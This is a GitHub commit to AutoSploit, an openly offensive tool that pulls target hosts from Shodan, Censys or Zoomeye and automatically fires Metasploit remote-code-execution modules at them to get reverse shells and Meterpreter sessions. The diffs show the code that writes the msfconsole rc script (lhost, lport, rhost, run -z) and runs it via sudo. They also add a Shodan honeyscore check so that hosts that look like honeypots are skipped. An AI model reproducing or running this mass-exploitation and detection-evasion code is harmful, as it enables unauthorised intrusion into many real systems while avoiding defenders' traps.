Skip to content

Commit 4b46320

Browse files
EkultekEkultek
committed
creates a new banner because we're sexy, fixes the NoneType issue, creates a honeypot check, implements the check in cmd line and terminal, bumps version number
1 parent a2d5fc7 commit 4b46320

File tree

6 files changed

+191
-109
lines changed

6 files changed

+191
-109
lines changed

‎README.md‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
# AutoSploit
2-
1+
<center><img src="https://user-images.githubusercontent.com/14183473/55991044-e9317000-5c6e-11e9-8730-a2e9d5c3ea68.jpg"></image></center>
2+
<br><br>
33
As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started
44

55
**Operational Security Consideration**

‎api_calls/honeyscore_hook.py‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
import requests
2+
from bs4 import BeautifulSoup
3+
4+
5+
class HoneyHook(object):
6+
7+
def __init__(self, ip_addy, api_key):
8+
self.ip = ip_addy
9+
self.api_key = api_key
10+
self.url = "https://api.shodan.io/labs/honeyscore/{ip}?key={key}"
11+
self.headers = {
12+
"Referer": "https://honeyscore.shodan.io/",
13+
"Origin": "https://honeyscore.shodan.io"
14+
}
15+
16+
def make_request(self):
17+
try:
18+
req = requests.get(self.url.format(ip=self.ip, key=self.api_key), headers=self.headers)
19+
honeyscore = float(req.content)
20+
except Exception:
21+
honeyscore = 0.0
22+
return honeyscore

‎lib/banner.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import os
22
import random
33

4-
VERSION = "3.0.3"
4+
VERSION = "3.1"
55

66

77
def banner_1(line_sep="#--", space=" " * 30):

‎lib/cmdline/cmd.py‎

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,6 +68,8 @@ def optparser():
6868
help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.")
6969
exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile",
7070
help="Run AutoSploit with provided exploit JSON file.")
71+
exploit.add_argument("-H", "--is-honeypot", type=float, default=1000, dest="checkIfHoneypot", metavar="HONEY-SCORE",
72+
help="Determine if the host is a honeypot or not")
7173

7274
misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else")
7375
misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded",
@@ -218,11 +220,18 @@ def single_run_args(opt, keys, loaded_modules):
218220
hosts = open(lib.settings.HOST_FILE).readlines()
219221
if opt.whitelist:
220222
hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist)
223+
if opt.checkIfHoneypot != 1000:
224+
check_pot = True
225+
else:
226+
check_pot = False
221227
lib.exploitation.exploiter.AutoSploitExploiter(
222228
opt.msfConfig,
223229
loaded_modules,
224230
hosts,
225231
ruby_exec=opt.rubyExecutableNeeded,
226232
msf_path=opt.pathToFramework,
227-
dryRun=opt.dryRun
233+
dryRun=opt.dryRun,
234+
shodan_token=keys["shodan"][0],
235+
check_honey=check_pot,
236+
compare_honey=opt.checkIfHoneypot
228237
).start_exploit()

‎lib/exploitation/exploiter.py‎

Lines changed: 105 additions & 84 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010

1111
import lib.settings
1212
import lib.output
13+
import api_calls.honeyscore_hook
1314

1415

1516
def whitelist_wash(hosts, whitelist_file):
@@ -48,6 +49,9 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs):
4849
self.ruby_exec = kwargs.get("ruby_exec", False)
4950
self.msf_path = kwargs.get("msf_path", None)
5051
self.dry_run = kwargs.get("dryRun", False)
52+
self.check_honey = kwargs.get("check_honey", False)
53+
self.shodan_token = kwargs.get("shodan_token", None)
54+
self.compare_honey = kwargs.get("compare_honey", 0.0)
5155

5256
def view_sorted(self):
5357
"""
@@ -100,103 +104,120 @@ def start_exploit(self, sep="*" * 10):
100104

101105
win_total = 0
102106
fail_total = 0
107+
skip_amount = 0
103108

104109
for host in self.hosts:
105-
current_host_path = path.join(current_run_path, host.strip())
106-
makedirs(current_host_path)
107-
108-
for mod in self.mods:
109-
if not self.dry_run:
110-
lib.output.info(
111-
"launching exploit '{}' against host '{}'".format(
112-
mod.strip(), host.strip()
110+
host = host.strip()
111+
if self.check_honey:
112+
lib.output.misc_info("checking if {} is a honeypot".format(host))
113+
honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request()
114+
if honey_score >= self.compare_honey:
115+
lib.output.warning(
116+
"awh shit, this returned a honeypot score of {}, lets not and say we did".format(honey_score)
117+
)
118+
skip = True
119+
skip_amount += 1
120+
else:
121+
skip = False
122+
else:
123+
skip = False
124+
125+
if not skip:
126+
current_host_path = path.join(current_run_path, host.strip())
127+
makedirs(current_host_path)
128+
129+
for mod in self.mods:
130+
if not self.dry_run:
131+
lib.output.info(
132+
"launching exploit '{}' against host '{}'".format(
133+
mod.strip(), host.strip()
134+
)
113135
)
136+
137+
cmd_template = (
138+
"sudo {use_ruby} {msf_path} -r {rc_script_path} -q"
114139
)
115140

116-
cmd_template = (
117-
"sudo {use_ruby} {msf_path} -r {rc_script_path} -q"
118-
)
119-
120-
use_ruby = "ruby" if self.ruby_exec else ""
121-
msf_path = self.msf_path if self.msf_path is not None else "msfconsole"
122-
123-
# What's the point of having a workspace if you overwrite it every fucking time..
124-
rc_script_template = (
125-
"workspace -a {workspace}\n"
126-
"use {module_name}\n"
127-
"setg lhost {lhost}\n"
128-
"setg lport {lport}\n"
129-
"setg verbose true\n"
130-
"setg threads 20\n"
131-
"set rhost {rhost}\n"
132-
"set rhosts {rhosts}\n"
133-
"run -z\n"
134-
"exit -y\n"
135-
)
136-
137-
module_name = mod.strip()
138-
workspace = self.configuration[0]
139-
lhost = self.configuration[1]
140-
lport = self.configuration[2]
141-
rhost = host.strip()
142-
143-
current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip())
144-
with open(current_rc_script_path, 'w') as f:
145-
146-
f.writelines(rc_script_template.format(
147-
module_name=module_name,
148-
workspace=workspace,
149-
lhost=lhost,
150-
lport=lport,
151-
rhost=rhost,
152-
rhosts=rhost
153-
))
154-
155-
with open(report_path, 'a') as f:
156-
157-
cmd = cmd_template.format(
158-
use_ruby=use_ruby,
159-
msf_path=msf_path,
160-
rc_script_path=current_rc_script_path
141+
use_ruby = "ruby" if self.ruby_exec else ""
142+
msf_path = self.msf_path if self.msf_path is not None else "msfconsole"
143+
144+
# What's the point of having a workspace if you overwrite it every fucking time..
145+
rc_script_template = (
146+
"workspace -a {workspace}\n"
147+
"use {module_name}\n"
148+
"setg lhost {lhost}\n"
149+
"setg lport {lport}\n"
150+
"setg verbose true\n"
151+
"setg threads 20\n"
152+
"set rhost {rhost}\n"
153+
"set rhosts {rhosts}\n"
154+
"run -z\n"
155+
"exit -y\n"
161156
)
162157

163-
output = [""]
164-
if not self.dry_run:
165-
output = lib.settings.cmdline(cmd)
166-
167-
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]')
168-
msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]
169-
170-
msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or
171-
'Meterpreter' in x or
172-
'Session' in x or
173-
'Sending stage' in x]
174-
175-
msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)]
176-
177-
if len(msf_wins):
178-
win_total += 1
179-
if len(msf_fails):
180-
fail_total += 1
181-
182-
csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
183-
csv_file.writerow([rhost,
184-
today_printable,
185-
module_name,
186-
lhost,
187-
lport,
188-
linesep.join(msf_wins),
189-
linesep.join(msf_fails),
190-
linesep.join(msf_output_lines)])
191-
192-
print()
158+
module_name = mod.strip()
159+
workspace = self.configuration[0]
160+
lhost = self.configuration[1]
161+
lport = self.configuration[2]
162+
rhost = host.strip()
163+
164+
current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip())
165+
with open(current_rc_script_path, 'w') as f:
166+
167+
f.writelines(rc_script_template.format(
168+
module_name=module_name,
169+
workspace=workspace,
170+
lhost=lhost,
171+
lport=lport,
172+
rhost=rhost,
173+
rhosts=rhost
174+
))
175+
176+
with open(report_path, 'a') as f:
177+
178+
cmd = cmd_template.format(
179+
use_ruby=use_ruby,
180+
msf_path=msf_path,
181+
rc_script_path=current_rc_script_path
182+
)
183+
184+
output = [""]
185+
if not self.dry_run:
186+
output = lib.settings.cmdline(cmd)
187+
188+
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]')
189+
msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]
190+
191+
msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or
192+
'Meterpreter' in x or
193+
'Session' in x or
194+
'Sending stage' in x]
195+
196+
msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)]
197+
198+
if len(msf_wins):
199+
win_total += 1
200+
if len(msf_fails):
201+
fail_total += 1
202+
203+
csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
204+
csv_file.writerow([rhost,
205+
today_printable,
206+
module_name,
207+
lhost,
208+
lport,
209+
linesep.join(msf_wins),
210+
linesep.join(msf_fails),
211+
linesep.join(msf_output_lines)])
212+
213+
print("")
193214
lib.output.info("{}RESULTS{}".format(sep, sep))
194215

195216
if self.dry_run:
196217
lib.output.info("\tDRY RUN!")
197218
lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts)))
198219
else:
199-
lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts)))
220+
lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount))
200221
lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total))
201222
lib.output.info("\t{} exploit failed.".format(fail_total))
202223

0 commit comments

Comments
 (0)